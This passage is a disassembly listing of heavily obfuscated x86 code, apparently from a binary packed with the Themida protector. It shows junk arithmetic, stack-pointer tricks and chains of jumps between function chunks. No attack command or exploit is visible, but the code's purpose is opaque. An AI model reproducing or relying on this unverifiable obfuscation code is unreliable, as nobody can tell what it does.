		sub	eax, 7B3F0F6Ah
		push	eax
		jmp	loc_5667C4
; ---------------------------------------------------------------------------


loc_570D82:				; CODE XREF: sub_55EDA7+46B5j
		sub	esi, 3A013369h
		push	edi
		mov	edi, 2E4561B1h
		xor	edi, 2B5E2E3Ch
		or	edi, 6A516EDBh
		xor	edi, 424A21B8h
		add	ebp, edi
		pop	edi
		add	ebp, esi
		sub	ebp, 2D114E67h
		jmp	loc_566E41
; ---------------------------------------------------------------------------


loc_570DB0:				; CODE XREF: sub_55EDA7+10DCDj
		mov	edi, [esp-10h+arg_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5701AB
; ---------------------------------------------------------------------------


loc_570DC8:				; CODE XREF: sub_55EDA7+13DB1j
		mov	ebx, 2BC4064Eh
		sub	edi, ebx
		jmp	loc_561FA2
; ---------------------------------------------------------------------------


loc_570DD4:				; CODE XREF: sub_55EDA7+4A9Ej
		xchg	esi, edx
		jmp	loc_5659EC
; ---------------------------------------------------------------------------


loc_570DDB:				; CODE XREF: sub_55EDA7+4EDCj
		add	eax, 45415EA9h
		push	[esp-28h+arg_24]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp-28h+arg_24], ecx
		jmp	sub_5710B6
; ---------------------------------------------------------------------------


loc_570DF2:				; CODE XREF: sub_55EDA7+E9F7j
		mov	ebx, edx
		pop	edx
		jmp	loc_56FF3A
; ---------------------------------------------------------------------------


loc_570DFA:				; CODE XREF: sub_55EDA7+11C99j
		mov	esi, edi
		pop	edi
		jmp	loc_569DA7
; ---------------------------------------------------------------------------


loc_570E02:				; CODE XREF: sub_55EDA7+13F4Aj
		add	ebp, ecx
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_56DFAE
; ---------------------------------------------------------------------------


loc_570E0F:				; CODE XREF: sub_55EDA7-58Dj
		add	dh, 6Eh
		jmp	loc_56C093
; ---------------------------------------------------------------------------


loc_570E17:				; CODE XREF: sub_55EDA7+81ECj
		push	edx
		push	4170h
		mov	[esp+10h+var_12+2], ebx
		mov	ebx, 8E9052Dh
		mov	edx, ebx
		pop	ebx
		not	edx
		dec	edx
		shl	edx, 3
		xor	edx, 10916CFBh
		xor	edx, 1F317320h
		jmp	sub_56E213
; ---------------------------------------------------------------------------


loc_570E3F:				; CODE XREF: sub_55EDA7+5DB2j
		mov	edx, 79A951DEh
		xor	edx, esi
		mov	esi, [esp+20h+var_22+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], ebx
		xor	ebx, [esp+24h+var_26+2]
		pop	esp
		push	edi
		sub	esp, 4
		jmp	loc_56D86D
; ---------------------------------------------------------------------------


loc_570E6B:				; CODE XREF: sub_55EDA7+DFE3j
		mov	edi, esi
		pop	esi
		jmp	loc_5696FB
; ---------------------------------------------------------------------------


loc_570E73:				; CODE XREF: sub_55EDA7+7CD5j
		mov	si, word ptr [esp-6+arg_0+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		jmp	loc_5627B7
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570E94	proc near		; CODE XREF: sub_55EDA7+A46Ej
		push	ebx
		mov	ebx, 2A934279h
		xor	ebx, 55B66F47h
		add	ebx, 80DAD2C4h
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+0]
		pop	esp
		jmp	sub_570A66
sub_570E94	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C6B9


loc_570EB2:				; CODE XREF: sub_56C6B9-B50j
		mov	ecx, 38h
		mov	edx, ecx
		pop	ecx
		mov	ebx, edx
		pop	edx
		add	ebx, edi
		push	dword ptr [ebx]
		xor	dword ptr [esp+0], 5A044B3Ah
		pop	ecx
		jmp	loc_56E523
; END OF FUNCTION CHUNK	FOR sub_56C6B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570ECE:				; CODE XREF: sub_55EDA7+FA8Ej
		inc	[esp-2Ch+arg_28]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_570ED7:				; CODE XREF: sub_55EDA7+2F68j
		push	esi
		sub	esp, 4
		jmp	loc_5627E9
; ---------------------------------------------------------------------------


loc_570EE0:				; CODE XREF: sub_55EDA7+11D2Cj
		sub	edx, 0FFFFFFFFh
		add	edx, 0BE1AD93Fh
		jmp	loc_56B4FC
; ---------------------------------------------------------------------------


loc_570EEE:				; CODE XREF: sub_55EDA7+132B3j
		sub	ebx, eax
		jmp	loc_56B636
; ---------------------------------------------------------------------------


loc_570EF5:				; CODE XREF: sub_55EDA7+17D3j
		mov	[esp-1Ah+arg_14+2], ecx
		push	6A26h
		mov	[esp-16h+arg_10+2], esi
		mov	esi, 38610A6Dh
		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5662AE
; ---------------------------------------------------------------------------


loc_570F10:				; CODE XREF: sub_55EDA7+EFF3j
		and	esi, 796A1F97h
		sub	esi, 1E445236h
		shl	esi, 1
		shr	esi, 7
		add	esi, 0FEF868F9h
		jmp	loc_56B3E7
; ---------------------------------------------------------------------------


loc_570F2C:				; CODE XREF: sub_55EDA7+6887j
		add	esp, 4
		push	esi
		push	72D3h
		mov	[esp-2Ch+arg_28], ebx
		push	705752F4h
		mov	ebx, [esp-28h+arg_24]
		add	esp, 4
		jmp	loc_562E67
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_570F48	proc near		; CODE XREF: sub_56F61C+2CCFj
		push	ebp
		push	ebx
		mov	ebx, 43A95016h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 3CA654A7h
		sub	ebp, 3DF80B4Bh
		shl	ebp, 6
		add	ebp, 3EE14496h
		sub	ebp, 819D4D92h
		jmp	loc_569345
sub_570F48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570F72:				; CODE XREF: sub_55EDA7+A86j
		xor	ebx, 1A1647F2h
		mov	ebp, ebx
		jmp	loc_570705
; ---------------------------------------------------------------------------


loc_570F7F:				; CODE XREF: sub_55EDA7+BD4Cj
		mov	eax, edi
		mov	edi, [esp+38h+var_3A+2]
		add	esp, 4
		add	edx, 3A361DC8h
		add	edx, eax
		push	edi
		jmp	loc_5700CB
; ---------------------------------------------------------------------------


loc_570F95:				; CODE XREF: sub_55EDA7+1C36j
		pop	esi
		pop	eax
		add	[edi+24h], edx
		push	[esp-18h+arg_14]
		jmp	loc_567D00
; ---------------------------------------------------------------------------


loc_570FA2:				; CODE XREF: sub_55EDA7+8953j
		mov	eax, 38ED63B0h
		add	eax, 0B323A47h
		add	eax, 6C733E99h
		jmp	loc_569F6C
; ---------------------------------------------------------------------------


loc_570FB6:				; CODE XREF: sub_55EDA7+27B6j
		mov	[esp+38h+var_3A+2], ebp
		jmp	loc_56437E
; ---------------------------------------------------------------------------


loc_570FBE:				; CODE XREF: sub_55EDA7+DCA1j
		add	ebx, 4
		jmp	loc_567927
; ---------------------------------------------------------------------------


loc_570FC9:				; CODE XREF: sub_55EDA7+115B4j
		sub	dl, bh
		push	[esp-20h+arg_1C]
		pop	ebx
		add	esp, 4
		sub	dl, 95h
		xor	ch, dl
		jmp	loc_5647CC
; ---------------------------------------------------------------------------


loc_570FDC:				; CODE XREF: sub_55EDA7+70A2j
		mov	ecx, 7F1F728Ch
		dec	ecx
		push	esi
		jmp	loc_56151A
; ---------------------------------------------------------------------------


loc_570FE8:				; CODE XREF: sub_55EDA7+9FA7j
		push	eax
		jmp	loc_55F5B6
; ---------------------------------------------------------------------------


loc_570FEE:				; CODE XREF: sub_55EDA7+2185j
		mov	[esp-18h+arg_14], esp
		push	2A57h
		mov	[esp-14h+arg_10], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	[esp-14h+arg_14], ecx
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		push	[esp-18h+arg_14]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_5630B0
; ---------------------------------------------------------------------------


loc_57101F:				; CODE XREF: sub_55EDA7+7977j
		push	1BFBh
		mov	[esp-4+arg_0], edx
		push	1D897014h
		jmp	loc_55ED62
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571031	proc near		; CODE XREF: sub_55EDA7+A172j
		push	ebp
		jmp	loc_55F02C
sub_571031	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571037:				; CODE XREF: sub_55EDA7+A51Bj
		add	ecx, 599003CFh
		add	ecx, edx
		jmp	loc_56ED71
; ---------------------------------------------------------------------------


loc_571044:				; CODE XREF: sub_55EDA7+A3D0j
		mov	bh, 2Eh
		push	edx
		mov	dl, 0F6h
		not	dl
		jmp	loc_57034B
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571050	proc near		; DATA XREF: Themida_:0055E01Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	ax, [esp+0]
		push	10CBh
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_563EC7
sub_571050	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571065:				; CODE XREF: sub_55EDA7+78A5j
		sub	ch, 0FFh
		jmp	loc_56A066
; ---------------------------------------------------------------------------


loc_57106D:				; CODE XREF: sub_55EDA7+13D66j
		add	ecx, ebx
		add	ecx, 3CBE38E9h
		sub	esp, 4
		jmp	loc_56AFA5
; ---------------------------------------------------------------------------


loc_57107D:				; CODE XREF: sub_55EDA7+EE8j
		add	ebp, 8FA26C6h
		mov	eax, [esp+8+var_8]
		add	esp, 4
		pop	eax
		jmp	loc_56573F
; ---------------------------------------------------------------------------


loc_57108F:				; CODE XREF: sub_55EDA7+2BD2j
		mov	ebx, [esp+4Ch+var_4E+2]
		add	esp, 4
		xor	esi, 289C3377h
		add	ebx, esi
		jmp	loc_55F3D3
; ---------------------------------------------------------------------------


loc_5710A5:				; CODE XREF: sub_55EDA7+2D3j
		pop	ebp
		shr	ebp, 5
		sub	ebp, 24F7873h
		mov	ecx, ebp
		jmp	loc_566B25
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5710B6	proc near		; CODE XREF: sub_55EDA7+12046j
		push	ebx
		push	64B62C5Ch
		jmp	loc_55F832
sub_5710B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5710C1:				; CODE XREF: sub_55EDA7+10E24j
		push	2EF5h
		mov	[esp-0Eh+arg_8+2], ebx
		push	[esp-0Eh+arg_C+2]
		push	[esp-0Ah+arg_4+2]
		pop	ebx
		add	esp, 4
		pop	[esp-0Eh+arg_8+2]
		mov	esp, [esp-12h+arg_C+2]
		xor	word ptr [esp-12h+arg_C+2], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5710E7:				; CODE XREF: sub_55EDA7+11B79j
		and	ebp, esi
		pop	esi
		xor	ebp, 1404007Eh
		and	[edi+1Ch], ebp
		jmp	loc_55F937
; ---------------------------------------------------------------------------


loc_5710F8:				; CODE XREF: sub_55EDA7+11892j
		xor	edi, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_571107:				; CODE XREF: sub_55EDA7+3EC3j
		mov	edi, [esp+0Eh+var_E]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Eh+var_E], ebx
		push	esi
		mov	esi, 2
		mov	ebx, esi
		pop	esi
		sub	esi, 137F5846h
		add	esi, ebx
		add	esi, 137F5846h
		pop	ebx
		jmp	loc_55F325
; ---------------------------------------------------------------------------


loc_571133:				; CODE XREF: sub_55EDA7+55BAj
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-24h+arg_20], ebx
		jmp	loc_5688C6
; ---------------------------------------------------------------------------


loc_571141:				; CODE XREF: sub_55EDA7+744Fj
		pop	esp
		jmp	loc_564D4F
; ---------------------------------------------------------------------------


loc_571147:				; CODE XREF: sub_55EDA7+8121j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-0Eh+arg_8+2]
		pop	esp
		push	eax
		jmp	loc_571ED0
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_57115D	proc near		; CODE XREF: sub_55EDA7+1B30j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00570744 SIZE 00000030 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		push	5FC40C9Eh
		pop	edi
		jmp	loc_570744
sub_57115D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571178:				; CODE XREF: sub_55EDA7+52F1j
		mov	ebp, 3BA523DDh
		jmp	loc_566DBF
; ---------------------------------------------------------------------------


loc_571182:				; CODE XREF: sub_55EDA7-9F2j
		sub	ecx, 26EE43ADh
		sub	ecx, 1
		xor	ecx, 341F155Dh
		add	eax, 108C2A73h
		jmp	loc_5728D6
; ---------------------------------------------------------------------------


loc_57119E:				; CODE XREF: sub_55EDA7+D79Aj
		shr	eax, 1
		push	7E36h
		mov	[esp-8+arg_4], esi
		mov	esi, 28496252h
		push	24D8h
		mov	[esp-4+arg_0], edx
		mov	edx, 437C5AE7h
		xor	esi, edx
		pop	edx
		and	esi, 23C02413h
		jmp	loc_56B215
; ---------------------------------------------------------------------------


loc_5711C8:				; CODE XREF: sub_55EDA7+B02Bj
		xor	eax, edi
		pop	edi
		jmp	sub_571205
; ---------------------------------------------------------------------------


loc_5711D0:				; CODE XREF: sub_55EDA7+9A4Dj
		mov	edi, 13D317BAh
		jmp	loc_564C2E
; ---------------------------------------------------------------------------


loc_5711DA:				; CODE XREF: sub_55EDA7+CA5Aj
		mov	esp, [esp-0Eh+arg_8+2]
		mov	[esp-0Eh+arg_8+2], ecx
		mov	ecx, 7B497749h
		dec	ecx
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], esi
		jmp	loc_5681B3
; ---------------------------------------------------------------------------


loc_5711F1:				; CODE XREF: sub_55EDA7+11823j
		add	esp, 4
		xor	ecx, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], ecx
		xor	ecx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		jmp	loc_57140E
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571205	proc near		; CODE XREF: sub_55EDA7+12424j
		push	ebx
		mov	ebx, 662118E0h
		or	eax, ebx
		jmp	loc_567097
sub_571205	endp

; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	6623h
		mov	[esp], ecx
		mov	ch, 78h
		push	edx
		mov	dh, 19h
		jmp	loc_56160B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571227:				; CODE XREF: sub_55EDA7+E1EBj
		shr	ecx, 2
		jmp	loc_563011
; ---------------------------------------------------------------------------


loc_57122F:				; CODE XREF: sub_55EDA7+4607j
		add	ebx, eax
		push	esi
		jmp	loc_5625CF
; ---------------------------------------------------------------------------


loc_571237:				; CODE XREF: sub_55EDA7+3CBDj
		add	esp, 4
		add	ebp, 1
		push	ebx
		mov	ebx, 756E4A39h
		dec	ebx
		dec	ebx
		neg	ebx
		sub	ebx, 2D906BF0h
		or	ebp, ebx
		pop	ebx
		jmp	loc_55EBD5
; ---------------------------------------------------------------------------


loc_57125B:				; CODE XREF: sub_55EDA7+5502j
		mov	ecx, 4
		sub	eax, ecx
		mov	ecx, [esp+10h+var_12+2]
		add	esp, 4
		xchg	eax, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		jmp	loc_5627A6
; ---------------------------------------------------------------------------


loc_571276:				; CODE XREF: sub_55EDA7+CADDj
		sub	al, 0E5h
		jmp	loc_56F2AF
; ---------------------------------------------------------------------------


loc_57127D:				; CODE XREF: sub_55EDA7+6ACAj
		pop	[esp-10h+arg_C]
		push	[esp-14h+arg_10]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	24FEh
		jmp	loc_56C177
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571297	proc near		; DATA XREF: Themida_:0055DFE4o
		mov	ax, [esp+0]
		sub	esp, 4
		jmp	loc_565CC0
sub_571297	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5712A3:				; CODE XREF: sub_55EDA7+276Ej
		mov	[esp+3Ch+var_3E+2], eax
		mov	eax, esp
		push	edx
		push	eax
		mov	eax, 56C3574Fh
		jmp	loc_5645D8
; ---------------------------------------------------------------------------


loc_5712B4:				; CODE XREF: sub_55EDA7+9D23j
		sub	edx, ebx
		pop	ebx
		jmp	loc_56BD84
; ---------------------------------------------------------------------------


loc_5712BC:				; CODE XREF: sub_55EDA7+13620j
		pop	ecx
		pop	[esp-18h+arg_14]
		jmp	loc_56D3A8
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_5712C5:				; DATA XREF: Themida_:0055DF34o
		mov	ax, [esp]
		push	6CA4h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5712E1:				; CODE XREF: sub_55EDA7+11104j
		add	ebx, 607433EAh
		add	ebx, 6ABF41D3h
		push	[esp+24h+var_26+2]
		pop	ecx
		push	esi
		jmp	loc_5716B3
; ---------------------------------------------------------------------------


loc_5712F7:				; CODE XREF: sub_55EDA7+26D1j
		xor	[esp+8+var_8], eax
		jmp	loc_55E797
; ---------------------------------------------------------------------------


loc_5712FF:				; CODE XREF: sub_55EDA7+E11Fj
		pop	ecx
		mov	ebp, [esp-12h+arg_C+2]
		add	esp, 4
		xor	edx, 111C5B97h
		push	edi
		jmp	loc_56503A
; ---------------------------------------------------------------------------


loc_571315:				; CODE XREF: sub_55EDA7+4CCEj
		push	[esp+34h+var_36+2]
		pop	ebp
		add	esp, 4
		push	ebp
		jmp	loc_569F37
; ---------------------------------------------------------------------------


loc_571322:				; CODE XREF: sub_55EDA7+11A70j
		sub	ebp, 3D1D7CA4h
		add	ebp, edx
		jmp	loc_55FDE7
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_57132F	proc near		; CODE XREF: sub_55EDA7+B413j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		jmp	loc_561663
sub_57132F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57133C:				; CODE XREF: sub_55EDA7+C69Dj
		or	ebx, 12C21B07h
		add	ebx, 323034Fh
		or	ebx, 7B7A3F53h
		sub	ebx, 7B7A3F5Dh
		jmp	loc_56ECDC
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_570219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57135F:				; CODE XREF: sub_55EDA7+12DAFj
		pop	ecx
		jmp	loc_569BCD
; ---------------------------------------------------------------------------


loc_571365:				; CODE XREF: sub_55EDA7-331j
		add	esp, 4
		push	1CD4h
		jmp	loc_56B2BF
; ---------------------------------------------------------------------------


loc_571372:				; CODE XREF: sub_55EDA7+5EF8j
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_5664C5
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_571382:				; DATA XREF: Themida_:0055DFF8o
		push	1AB4h
		mov	[esp], esi
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_56F5A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57139E:				; CODE XREF: sub_55EDA7+E995j
		xor	ebx, 6FAB7B0Fh
		not	ebx
		xor	ebx, 9265FFFEh
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 191D487Eh
		push	edx
		jmp	loc_564227
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5713BB	proc near		; CODE XREF: sub_55EDA7+D727j

; FUNCTION CHUNK AT 0056F5D1 SIZE 00000017 BYTES

		push	ebx
		jmp	loc_56F5D1
sub_5713BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5713C1:				; CODE XREF: sub_55EDA7+2267j
		add	edx, ecx
		push	[esp-20h+arg_1C]
		jmp	loc_568978
; ---------------------------------------------------------------------------


loc_5713CB:				; CODE XREF: sub_55EDA7+1E15j
		mov	edx, 4000h
		and	eax, edx
		push	[esp-1Ch+arg_18]
		pop	edx
		push	ecx
		push	esp
		push	[esp-14h+arg_10]
		jmp	loc_56438A
; ---------------------------------------------------------------------------


loc_5713E0:				; CODE XREF: sub_55EDA7+6D89j
		xchg	edx, [esp+2Ah+var_2A]
		pop	esp
		mov	[esp+26h+var_26], esi
		jmp	loc_572B18
; ---------------------------------------------------------------------------


loc_5713EC:				; CODE XREF: sub_55EDA7+134FCj
		push	[esp+26h+var_26]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2A]
		pop	esp
		jmp	loc_568C96
; ---------------------------------------------------------------------------


loc_571405:				; CODE XREF: sub_55EDA7+71B9j
		push	[esp+4+var_4]
		pop	ebp
		jmp	loc_56FE66
; ---------------------------------------------------------------------------


loc_57140E:				; CODE XREF: sub_55EDA7+12459j
		movzx	cx, al
		push	small 4AF8h
		mov	word ptr [esp-1Ah+arg_14+2], cx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57141F:				; CODE XREF: sub_55EDA7+B53Dj
		add	ebp, 4224417Dh
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		add	eax, ebp
		jmp	loc_56FA33
; ---------------------------------------------------------------------------


loc_571432:				; CODE XREF: sub_55EDA7+EF64j
		inc	bl
		jmp	loc_569155
; ---------------------------------------------------------------------------


loc_571439:				; CODE XREF: sub_55EDA7+E8E8j
		xor	[esp+2+var_4+2], esi
		jmp	loc_569B88
; ---------------------------------------------------------------------------


loc_571441:				; CODE XREF: sub_55EDA7+3FA8j
		push	edi
		sub	esp, 4
		mov	[esp+1Ah+var_1A], eax
		push	42EC21DCh
		mov	eax, [esp+1Eh+var_1E]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+22h+var_22]
		pop	esp
		add	eax, 0C1F736B1h
		mov	edi, eax
		jmp	loc_571526
; ---------------------------------------------------------------------------


loc_57146F:				; CODE XREF: sub_55EDA7-6B1j
		movzx	ecx, ax
		push	7461h
		mov	[esp-2Ch+arg_28], ecx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57147F:				; CODE XREF: sub_55EDA7+4A32j
		sub	ebp, 4
		xor	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_570B85
; ---------------------------------------------------------------------------


loc_57148D:				; CODE XREF: sub_55EDA7+56B3j
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_568CCA
; ---------------------------------------------------------------------------


loc_571497:				; CODE XREF: sub_55EDA7+12B5j
		mov	bx, word ptr [esp-1Ch+arg_18]
		jmp	loc_56BBDD
; ---------------------------------------------------------------------------


loc_5714A0:				; CODE XREF: sub_55EDA7+BE39j
		mov	edi, 2B1291h
		dec	edi
		and	edi, 292524C6h
		push	esi
		jmp	loc_56D2FB
; ---------------------------------------------------------------------------


loc_5714B2:				; CODE XREF: sub_55EDA7+12F69j
		pop	ebx
		pop	[esp+2Eh+var_2E]
		jmp	loc_562631
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5714BB	proc near		; DATA XREF: Themida_:0055DFE8o
		xor	[esp+0], esi
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_566F0F
sub_5714BB	endp

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	7A0Dh
		mov	[esp], esi
		jmp	loc_572C74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5714DD:				; CODE XREF: sub_55EDA7+1005Dj
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+3Ch+var_3E+2]
		jmp	loc_56134B
; ---------------------------------------------------------------------------


loc_5714ED:				; CODE XREF: sub_55EDA7+13E36j
		sub	edi, 1F4819EEh
		jmp	loc_55EB08
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_5714F8:				; DATA XREF: Themida_:0055E000o
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_56DBAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57150D:				; CODE XREF: sub_55EDA7+1290Ej
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, 65A87FF2h
		add	esi, edx
		jmp	loc_56AC94
; ---------------------------------------------------------------------------


loc_571526:				; CODE XREF: sub_55EDA7+126C3j
		pop	eax
		xor	edi, 4E35889h
		sub	esi, 768E22D9h
		add	esi, edi
		add	esi, 768E22D9h
		pop	edi
		push	edi
		mov	edi, 16F54479h
		jmp	loc_56FADE
; ---------------------------------------------------------------------------


loc_571547:				; CODE XREF: sub_55EDA7+10955j
		mov	esp, [esp+1Eh+var_1E]
		mov	cx, word ptr [esp+1Eh+var_1E]
		sub	esp, 4
		mov	[esp+22h+var_22], ebx
		push	esp
		jmp	loc_562884
; ---------------------------------------------------------------------------


loc_57155A:				; CODE XREF: sub_55EDA7+8316j
		and	eax, 44FC2B89h
		sub	eax, 326F477Bh
		jmp	loc_56C80D
; ---------------------------------------------------------------------------


loc_571569:				; CODE XREF: sub_55EDA7-759j
		mov	ecx, 20397B46h
		push	edx
		mov	edx, 52C84BD9h
		jmp	loc_56020A
; ---------------------------------------------------------------------------


loc_571579:				; CODE XREF: sub_55EDA7+1B0Ej
		shl	ebp, 2
		push	edi
		mov	edi, 59D855FBh
		not	edi
		xor	edi, 2431AFDh
		jmp	loc_568C64
; ---------------------------------------------------------------------------


loc_57158F:				; CODE XREF: sub_55EDA7+205Cj
		pop	edi
		mov	ebx, ecx
		mov	ecx, [esp-10h+arg_C]
		push	ebp
		jmp	loc_56A314
; ---------------------------------------------------------------------------


loc_57159B:				; CODE XREF: sub_55EDA7+203Cj
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		pop	ebx
		pop	dx
		push	edx
		mov	dl, 2Ch
		add	ch, dl
		pop	edx
		xor	ch, 57h
		sub	bl, 0D5h
		add	bl, ch
		add	bl, 0D5h
		jmp	loc_56326B
; ---------------------------------------------------------------------------


loc_5715BA:				; CODE XREF: sub_55EDA7+9770j
		pop	edx
		add	edx, 335D5CB5h
		pop	esi
		and	ecx, edx
		jmp	loc_56E90A
; ---------------------------------------------------------------------------


loc_5715C9:				; CODE XREF: sub_55EDA7+AD5Aj
		mov	ecx, 62931AD2h
		add	eax, 0BB91891h
		sub	eax, ecx
		push	ecx
		mov	ecx, 3C7456BCh
		and	ecx, 6E724921h
		shr	ecx, 5
		and	ecx, 6F6D01A5h
		jmp	loc_572346
; ---------------------------------------------------------------------------


loc_5715EF:				; CODE XREF: sub_55EDA7+A080j
		xchg	bl, dh
		push	cx
		push	eax
		mov	ah, bl
		push	ebx
		mov	bl, ah
		mov	ch, bl
		pop	ebx
		pop	eax
		not	ch
		mov	bl, ch
		pop	cx
		push	cx
		mov	ch, bl
		mov	bl, dh
		mov	dh, ch
		pop	cx
		add	dh, 8Ch
		sub	al, 54h
		sub	al, 0E7h
		jmp	loc_560986
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_571619:				; DATA XREF: Themida_:0055DF38o
		push	dword ptr [edi+40h]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_571621:				; CODE XREF: sub_55EDA7+C6BEj
		mov	edi, [esp+14h+var_16+2]
		add	esp, 4
		push	1190h
		mov	[esp+14h+var_16+2], ebp
		jmp	loc_569CA5
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_571634	proc near		; CODE XREF: sub_55EDA7+2451j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	3ACA7E97h
		pop	eax
		mov	edx, eax
		pop	eax
		add	esi, edx
		jmp	loc_56542C
sub_571634	endp

; ---------------------------------------------------------------------------
